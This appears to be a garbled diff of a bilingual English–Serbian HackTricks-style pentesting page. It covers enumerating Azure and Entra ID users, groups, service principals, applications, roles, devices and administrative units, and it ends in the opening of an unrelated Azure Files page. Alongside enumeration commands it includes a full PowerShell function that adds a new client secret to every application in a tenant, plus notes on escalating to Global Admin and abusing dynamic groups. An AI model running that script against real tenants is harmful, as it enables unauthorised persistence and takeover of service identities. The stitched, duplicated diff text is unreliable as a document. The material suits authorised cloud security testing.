#### Add user to group
|
||||
|
||||
Owners of the group can add new users to the group
|
||||
#### Dodavanje korisnika u grupu
|
||||
|
||||
Vlasnici grupe mogu dodavati nove korisnike u grupu
|
||||
```powershell
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Groups can be dynamic, which basically means that **if a user fulfil certain conditions it will be added to a group**. Of course, if the conditions are based in **attributes** a **user** can **control**, he could abuse this feature to **get inside other groups**.\
|
||||
> Check how to abuse dynamic groups in the following page:
|
||||
> Grupe mogu biti dinamične, što u osnovi znači da **ako korisnik ispuni određene uslove, biće dodat u grupu**. Naravno, ako su uslovi zasnovani na **atributima** koje **korisnik** može **kontrolisati**, mogao bi zloupotrebiti ovu funkciju da **uđe u druge grupe**.\
|
||||
> Proverite kako zloupotrebiti dinamične grupe na sledećoj stranici:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
@@ -439,7 +407,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
|
||||
### Service Principals
|
||||
|
||||
For more information about Entra ID service principals check:
|
||||
Za više informacija o Entra ID servisnim principalima proverite:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -447,7 +415,6 @@ For more information about Entra ID service principals check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Get Service Principals
|
||||
az ad sp list --all
|
||||
@@ -464,11 +431,9 @@ az ad sp list --show-mine
|
||||
# Get SPs with generated secret or certificate
|
||||
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Get Service Principals
|
||||
Get-AzureADServicePrincipal -All $true
|
||||
@@ -487,11 +452,9 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedO
|
||||
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
|
||||
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get SPs
|
||||
Get-AzADServicePrincipal
|
||||
@@ -502,155 +465,149 @@ Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
|
||||
# Get roles of a SP
|
||||
Get-AzRoleAssignment -ServicePrincipalName <String>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw" }}
|
||||
|
||||
```powershell
|
||||
$Token = 'eyJ0eX..'
|
||||
$URI = 'https://graph.microsoft.com/v1.0/applications'
|
||||
$RequestParams = @{
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> The Owner of a Service Principal can change its password.
|
||||
> Vlasnik Servisnog Principala može promeniti svoju lozinku.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List and try to add a client secret on each Enterprise App</summary>
|
||||
|
||||
<summary>Lista i pokušaj dodavanja klijentske tajne na svaku Preduzetničku Aplikaciju</summary>
|
||||
```powershell
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Add client secret to the applications.
|
||||
.SYNOPSIS
|
||||
Add client secret to the applications.
|
||||
|
||||
.PARAMETER GraphToken
|
||||
Pass the Graph API Token
|
||||
.PARAMETER GraphToken
|
||||
Pass the Graph API Token
|
||||
|
||||
.EXAMPLE
|
||||
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'
|
||||
.EXAMPLE
|
||||
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'
|
||||
|
||||
.LINK
|
||||
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
|
||||
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
|
||||
.LINK
|
||||
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
|
||||
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]
|
||||
$GraphToken = $null
|
||||
)
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]
|
||||
$GraphToken = $null
|
||||
)
|
||||
|
||||
$AppList = $null
|
||||
$AppPassword = $null
|
||||
$AppList = $null
|
||||
$AppPassword = $null
|
||||
|
||||
# List All the Applications
|
||||
# List All the Applications
|
||||
|
||||
$Params = @{
|
||||
"URI" = "https://graph.microsoft.com/v1.0/applications"
|
||||
"Method" = "GET"
|
||||
"Headers" = @{
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $GraphToken"
|
||||
}
|
||||
}
|
||||
$Params = @{
|
||||
"URI" = "https://graph.microsoft.com/v1.0/applications"
|
||||
"Method" = "GET"
|
||||
"Headers" = @{
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $GraphToken"
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$AppList = Invoke-RestMethod @Params -UseBasicParsing
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
$AppList = Invoke-RestMethod @Params -UseBasicParsing
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
# Add Password in the Application
|
||||
# Add Password in the Application
|
||||
|
||||
if($AppList -ne $null)
|
||||
{
|
||||
[System.Collections.ArrayList]$Details = @()
|
||||
if($AppList -ne $null)
|
||||
{
|
||||
[System.Collections.ArrayList]$Details = @()
|
||||
|
||||
foreach($App in $AppList.value)
|
||||
{
|
||||
$ID = $App.ID
|
||||
$psobj = New-Object PSObject
|
||||
foreach($App in $AppList.value)
|
||||
{
|
||||
$ID = $App.ID
|
||||
$psobj = New-Object PSObject
|
||||
|
||||
$Params = @{
|
||||
"URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
|
||||
"Method" = "POST"
|
||||
"Headers" = @{
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $GraphToken"
|
||||
}
|
||||
}
|
||||
$Params = @{
|
||||
"URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
|
||||
"Method" = "POST"
|
||||
"Headers" = @{
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $GraphToken"
|
||||
}
|
||||
}
|
||||
|
||||
$Body = @{
|
||||
"passwordCredential"= @{
|
||||
"displayName" = "Password"
|
||||
}
|
||||
}
|
||||
$Body = @{
|
||||
"passwordCredential"= @{
|
||||
"displayName" = "Password"
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
|
||||
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
|
||||
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
|
||||
$Details.Add($psobj) | Out-Null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
|
||||
}
|
||||
}
|
||||
if($Details -ne $null)
|
||||
{
|
||||
Write-Output ""
|
||||
Write-Output "Client secret added to : "
|
||||
Write-Output $Details | fl *
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Output "Failed to Enumerate the Applications."
|
||||
}
|
||||
try
|
||||
{
|
||||
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
|
||||
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
|
||||
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
|
||||
$Details.Add($psobj) | Out-Null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
|
||||
}
|
||||
}
|
||||
if($Details -ne $null)
|
||||
{
|
||||
Write-Output ""
|
||||
Write-Output "Client secret added to : "
|
||||
Write-Output $Details | fl *
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Output "Failed to Enumerate the Applications."
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Applications
|
||||
### Aplikacije
|
||||
|
||||
For more information about Applications check:
|
||||
Za više informacija o Aplikacijama pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
When an App is generated 2 types of permissions are given:
|
||||
Kada se aplikacija generiše, dodeljuju se 2 tipa dozvola:
|
||||
|
||||
- **Permissions** given to the **Service Principal**
|
||||
- **Permissions** the **app** can have and use on **behalf of the user**.
|
||||
- **Dozvole** dodeljene **Servisnom Principal**
|
||||
- **Dozvole** koje **aplikacija** može imati i koristiti **u ime korisnika**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Apps
|
||||
az ad app list
|
||||
@@ -666,11 +623,9 @@ az ad app list --show-mine
|
||||
# Get apps with generated secret or certificate
|
||||
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# List all registered applications
|
||||
Get-AzureADApplication -All $true
|
||||
@@ -681,11 +636,9 @@ Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredentia
|
||||
# Get owner of an application
|
||||
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get Apps
|
||||
Get-AzADApplication
|
||||
@@ -696,26 +649,25 @@ Get-AzADApplication | ?{$_.DisplayName -match "app"}
|
||||
# Get Apps with password
|
||||
Get-AzADAppCredential
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> An app with the permission **`AppRoleAssignment.ReadWrite`** can **escalate to Global Admin** by grating itself the role.\
|
||||
> For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
> Aplikacija sa dozvolom **`AppRoleAssignment.ReadWrite`** može **povećati privilegije na Global Admin** dodeljujući sebi tu ulogu.\
|
||||
> Za više informacija [**proverite ovo**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
> A secret string that the application uses to prove its identity when requesting a token is the application password.\
|
||||
> So, if find this **password** you can access as the **service principal** **inside** the **tenant**.\
|
||||
> Note that this password is only visible when generated (you could change it but you cannot get it again).\
|
||||
> The **owner** of the **application** can **add a password** to it (so he can impersonate it).\
|
||||
> Logins as these service principals are **not marked as risky** and they **won't have MFA.**
|
||||
> Tajni niz koji aplikacija koristi da dokaže svoj identitet prilikom zahteva za token je lozinka aplikacije.\
|
||||
> Dakle, ako pronađete ovu **lozinku**, možete pristupiti kao **service principal** **unutar** **tenanta**.\
|
||||
> Imajte na umu da je ova lozinka vidljiva samo kada je generisana (možete je promeniti, ali je ne možete ponovo dobiti).\
|
||||
> **Vlasnik** **aplikacije** može **dodati lozinku** (tako da može da se pretvara da je ona).\
|
||||
> Prijave kao ovi service principals **nisu označene kao rizične** i **neće imati MFA.**
|
||||
|
||||
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
Moguće je pronaći listu često korišćenih App ID-ova koji pripadaju Microsoft-u na [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
|
||||
### Managed Identities
|
||||
|
||||
For more information about Managed Identities check:
|
||||
Za više informacija o Managed Identities proverite:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -723,19 +675,17 @@ For more information about Managed Identities check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List all manged identities
|
||||
az identity list --output table
|
||||
# With the principal ID you can continue the enumeration in service principals
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Azure Roles
|
||||
### Azure Uloge
|
||||
|
||||
For more information about Azure roles check:
|
||||
Za više informacija o Azure ulogama, proverite:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -743,7 +693,6 @@ For more information about Azure roles check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Get roles
|
||||
az role definition list
|
||||
@@ -765,11 +714,9 @@ az role assignment list --assignee "<email>" --all --output table
|
||||
# Get all the roles assigned to a user by filtering
|
||||
az role assignment list --all --query "[?principalName=='carlos@carloshacktricks.onmicrosoft.com']" --output table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get role assignments on the subscription
|
||||
Get-AzRoleDefinition
|
||||
@@ -779,31 +726,28 @@ Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
|
||||
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw" }}
|
||||
|
||||
```powershell
|
||||
# Get permissions over a resource using ARM directly
|
||||
$Token = (Get-AzAccessToken).Token
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
|
||||
$RequestParams = @{
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Entra ID Roles
|
||||
### Entra ID Uloge
|
||||
|
||||
For more information about Azure roles check:
|
||||
Za više informacija o Azure ulogama pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -811,55 +755,52 @@ For more information about Azure roles check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List template Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
|
||||
|
||||
# List enabled built-in Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
|
||||
# List all Entra ID roles with their permissions (including custom roles)
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
|
||||
|
||||
# List only custom Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
|
||||
# List all assigned Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
|
||||
|
||||
# List members of a Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
|
||||
|
||||
# List Entra ID roles assigned to a user
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
|
||||
# List Entra ID roles assigned to a group
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
|
||||
# List Entra ID roles assigned to a service principal
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Get all available role templates
|
||||
Get-AzureADDirectoryroleTemplate
|
||||
@@ -874,23 +815,19 @@ Get-AzureADDirectoryRole -ObjectId <id> | fl
|
||||
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
|
||||
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Devices
|
||||
### Uređaji
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# If you know how to do this send a PR!
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate Devices
|
||||
Get-AzureADDevice -All $true | fl *
|
||||
@@ -909,17 +846,16 @@ Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
|
||||
# Get Administrative Units of a device
|
||||
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
|
||||
> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
|
||||
> Ako je uređaj (VM) **AzureAD povezan**, korisnici iz AzureAD će moći da se **prijave**.\
|
||||
> Štaviše, ako je prijavljeni korisnik **Vlasnik** uređaja, on će biti **lokalni administrator**.
|
||||
|
||||
### Administrative Units
|
||||
### Administrativne jedinice
|
||||
|
||||
For more information about administrative units check:
|
||||
Za više informacija o administrativnim jedinicama pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -927,7 +863,6 @@ For more information about administrative units check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List all administrative units
|
||||
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
|
||||
@@ -938,11 +873,9 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
|
||||
# Get principals with roles over the AU
|
||||
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AzureAD" }}
|
||||
|
||||
```powershell
|
||||
# Get Administrative Units
|
||||
Get-AzureADMSAdministrativeUnit
|
||||
@@ -954,7 +887,6 @@ Get-AzureADMSAdministrativeUnitMember -Id <id>
|
||||
# Get the roles users have over the members of the AU
|
||||
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
@@ -974,29 +906,29 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
|
||||
Privileged Identity Management (PIM) u Azure-u pomaže da se **spreči dodeljivanje prekomernih privilegija** korisnicima bez potrebe.
|
||||
|
||||
One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
|
||||
Note that the user will also be able to ask to **extend** the time.
|
||||
Jedna od glavnih funkcija koju PIM pruža je da omogućava da se uloge ne dodeljuju principima koji su konstantno aktivni, već da ih učini **prikladnim na određeni vremenski period (npr. 6 meseci)**. Tada, kada god korisnik želi da aktivira tu ulogu, mora da je zatraži navodeći vreme koje mu je potrebno za privilegiju (npr. 3 sata). Tada **administrator mora da odobri** zahtev.\
|
||||
Napomena: korisnik će takođe moći da zatraži da se **prolongira** vreme.
|
||||
|
||||
Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
|
||||
Pored toga, **PIM šalje emailove** svaki put kada se privilegovana uloga dodeljuje nekome.
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
When PIM is enabled it's possible to configure each role with certain requirements like:
|
||||
Kada je PIM omogućen, moguće je konfigurisati svaku ulogu sa određenim zahtevima kao što su:
|
||||
|
||||
- Maximum duration (hours) of activation
|
||||
- Require MFA on activation
|
||||
- Require Conditional Access acuthenticaiton context
|
||||
- Require justification on activation
|
||||
- Require ticket information on activation
|
||||
- Require approval to activate
|
||||
- Max time to expire the elegible assignments 
|
||||
- A lot more configuration on when and who to send notifications when certain actions happen with that role
|
||||
- Maksimalno trajanje (sati) aktivacije
|
||||
- Zahteva MFA prilikom aktivacije
|
||||
- Zahteva kontekst autentifikacije uslovnog pristupa
|
||||
- Zahteva opravdanje prilikom aktivacije
|
||||
- Zahteva informacije o tiketu prilikom aktivacije
|
||||
- Zahteva odobrenje za aktivaciju
|
||||
- Maksimalno vreme za isteknuće prikladnih dodela 
|
||||
- Puno više konfiguracija o tome kada i kome slati obaveštenja kada se određene radnje dogode sa tom ulogom
|
||||
|
||||
### Conditional Access Policies <a href="#title-text" id="title-text"></a>
|
||||
|
||||
Check:
|
||||
Proverite:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -1004,23 +936,23 @@ Check:
|
||||
|
||||
### Entra Identity Protection <a href="#title-text" id="title-text"></a>
|
||||
|
||||
Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
|
||||
Entra Identity Protection je bezbednosna usluga koja omogućava da se **otkrije kada je korisnik ili prijavljivanje previše rizično** da bi bilo prihvaćeno, omogućavajući da se **blokira** korisnik ili pokušaj prijavljivanja.
|
||||
|
||||
It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
|
||||
Omogućava administratoru da ga konfiguriše da **blokira** pokušaje kada je rizik "Nizak i iznad", "Srednji i iznad" ili "Visok". Iako je po defaultu potpuno **onemogućeno**:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
|
||||
> Danas se preporučuje dodavanje ovih ograničenja putem politika uslovnog pristupa gde je moguće konfigurisati iste opcije.
|
||||
|
||||
### Entra Password Protection
|
||||
|
||||
Entra Password Protection ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
|
||||
It also allows to **ban a custom password list** that you need to provide.
|
||||
Entra Password Protection ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) je bezbednosna funkcija koja **pomaže u sprečavanju zloupotrebe slabih lozinki tako što zaključava naloge kada se dogodi nekoliko neuspešnih pokušaja prijavljivanja**.\
|
||||
Takođe omogućava da se **zabranjuje prilagođena lista lozinki** koju treba da obezbedite.
|
||||
|
||||
It can be **applied both** at the cloud level and on-premises Active Directory.
|
||||
Može se **primeniti i** na nivou oblaka i na lokalnom Active Directory-ju.
|
||||
|
||||
The default mode is **Audit**:
|
||||
Podrazumevani režim je **Audit**:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -1029,7 +961,3 @@ The default mode is **Audit**:
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,37 +2,36 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne Informacije
|
||||
|
||||
**Azure Files** is a fully managed cloud file storage service that provides shared file storage accessible via standard **SMB (Server Message Block)** and **NFS (Network File System)** protocols. Although the main protocol used is SMB as NFS Azure file shares aren't supported for Windows (according to the [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). It allows you to create highly available network file shares that can be accessed simultaneously by multiple virtual machines (VMs) or on-premises systems, enabling seamless file sharing across environments.
|
||||
**Azure Files** je potpuno upravljana usluga skladištenja datoteka u oblaku koja pruža deljeno skladištenje datoteka dostupno putem standardnih **SMB (Server Message Block)** i **NFS (Network File System)** protokola. Iako je glavni protokol koji se koristi SMB, NFS Azure deljenja datoteka nisu podržana za Windows (prema [**dokumentaciji**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Omogućava vam da kreirate visoko dostupna mrežna deljenja datoteka koja mogu biti istovremeno dostupna više virtuelnih mašina (VM) ili lokalnih sistema, omogućavajući besprekornu deljenje datoteka između okruženja.
|
||||
|
||||
### Access Tiers
|
||||
### Pristupni Nivoi
|
||||
|
||||
- **Transaction Optimized**: Optimized for transaction-heavy operations.
|
||||
- **Hot**: Balanced between transactions and storage.
|
||||
- **Cool**: Cost-effective for storage.
|
||||
- **Premium:** High-performance file storage optimized for low-latency and IOPS-intensive workloads.
|
||||
- **Optimizovano za transakcije**: Optimizovano za operacije sa velikim brojem transakcija.
|
||||
- **Vruće**: Između transakcija i skladištenja.
|
||||
- **Hladno**: Ekonomično za skladištenje.
|
||||
- **Premium:** Skladištenje datoteka visokih performansi optimizovano za radne opterećenja sa niskom latencijom i visokim IOPS.
|
||||
|
||||
